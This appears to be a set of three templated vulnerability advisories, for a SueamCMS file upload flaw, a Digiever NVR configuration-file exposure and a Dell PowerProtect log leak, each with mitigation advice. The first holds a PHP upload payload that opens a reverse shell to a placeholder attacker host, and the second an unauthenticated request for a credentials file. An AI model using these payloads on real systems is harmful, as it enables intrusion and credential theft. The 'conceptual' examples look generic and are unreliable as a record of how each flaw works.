Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities being identified and patched regularly. One such recent discovery is CVE-2025-55835, a highly severe File Upload vulnerability found in SueamCMS v.0.1.2. This vulnerability has significant implications for its users, as it allows a remote attacker to execute arbitrary code due to a lack of filtering. This could potentially lead to system compromise and data leakage, posing a significant threat to the integrity and confidentiality of data.

Vulnerability Summary

CVE ID: CVE-2025-55835
Severity: Critical, CVSS 9.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

SueamCMS | v.0.1.2

How the Exploit Works

The vulnerability arises from a lack of sufficient filtering mechanisms in the file upload feature on the SueamCMS v.0.1.2 platform. This lack of filtering allows an attacker to upload a malicious file containing an executable code. Once uploaded, the attacker can remotely trigger this code, allowing them to take control of the system or exfiltrate sensitive data.

Conceptual Example Code

Here’s a conceptual example of how an attacker could exploit this vulnerability:

POST /file_upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW

In this example, the attacker uploads a malicious PHP script that, when executed, opens a reverse shell to the attacker’s machine, allowing them to execute commands remotely.

Mitigation Guidance

The best practice to mitigate this vulnerability is to apply the vendor-provided patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Furthermore, it is strongly advised to restrict file upload functionality to trusted users only and to implement adequate file type and content filtering to prevent the upload of malicious files.

Overview

In today’s cybersecurity arena, a new vulnerability has surfaced that poses a significant risk to security systems across the globe. The vulnerability, classified under the Common Vulnerabilities and Exposures (CVE) system as CVE-2025-10264, affects certain models of Network Video Recorders (NVR) developed by Digiever. This vulnerability allows unauthenticated remote attackers to access the system configuration file and obtain plaintext credentials of the NVR and its connected cameras. Given the high severity of this vulnerability, understanding it and implementing mitigation strategies is crucial for every organization that uses Digiever NVR models.

Vulnerability Summary

CVE ID: CVE-2025-10264
Severity: Critical (CVSS Score: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Exposure of sensitive information leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Digiever NVR | All versions prior to the most recent patch

How the Exploit Works

The security flaw in the Digiever NVR models stems from an inadequate protection mechanism that allows unauthorized access to the system configuration file. The system configuration file contains plaintext credentials of the NVR and its connected cameras, which, when in the wrong hands, can lead to a full system compromise. The attacker does not need any special privileges or user interaction to exploit this vulnerability. A simple network-based attack can open the door to the sensitive information stored in the system configuration file.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This example uses an HTTP GET request to access the system configuration file:

GET /system_config HTTP/1.1
Host: target.example.com

Upon a successful request, the server responds with the system configuration file containing the plaintext credentials of the NVR and its connected cameras.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the latest patch provided by Digiever. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation, while preventing unauthorized access to the system configuration file. However, these measures are merely stopgap solutions, and organizations should prioritize patching their systems to effectively secure their NVRs against this critical vulnerability.

Overview

In the world of cybersecurity, vulnerabilities are inevitable and their impacts are often detrimental. One such vulnerability is CVE-2025-43888, a weakness in Dell PowerProtect Data Manager versions 19.19 and 19.20. This vulnerability specifically affects the Hyper-V component of the software and it’s of significant concern because it allows an attacker with low privilege and local access to potentially exploit the system, leading to unauthorized access and data leakage.
Being a software that is widely used for data protection and management, this vulnerability puts countless businesses and individual users at risk, making it a significant cybersecurity issue that needs immediate attention and resolution.

Vulnerability Summary

CVE ID: CVE-2025-43888
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Unauthorized access and potential system compromise or data leakage

Affected Products

Product | Affected Versions

Dell PowerProtect Data Manager | 19.19
Dell PowerProtect Data Manager | 19.20

How the Exploit Works

The vulnerability works by inserting sensitive information into the log file. An attacker with low privileges and local access can exploit this vulnerability by accessing these log files and extracting the sensitive information. This information could potentially provide the attacker with unauthorized access to the system, leading to further exploitation such as system compromise or data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited could look like this:

# Attacker gains low level access and navigates to log directory
cd /path/to/logfiles
# Attacker views log files and extracts sensitive data
cat logfile.txt | grep "sensitive information"

This conceptual code example is not a real exploit code, but it provides an idea of how an attacker might access and extract sensitive information from the log files.
In conclusion, it’s crucial for users of Dell PowerProtect Data Manager versions 19.19 and 19.20 to address this vulnerability without delay. The recommended mitigation guidance is to apply the vendor patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation.
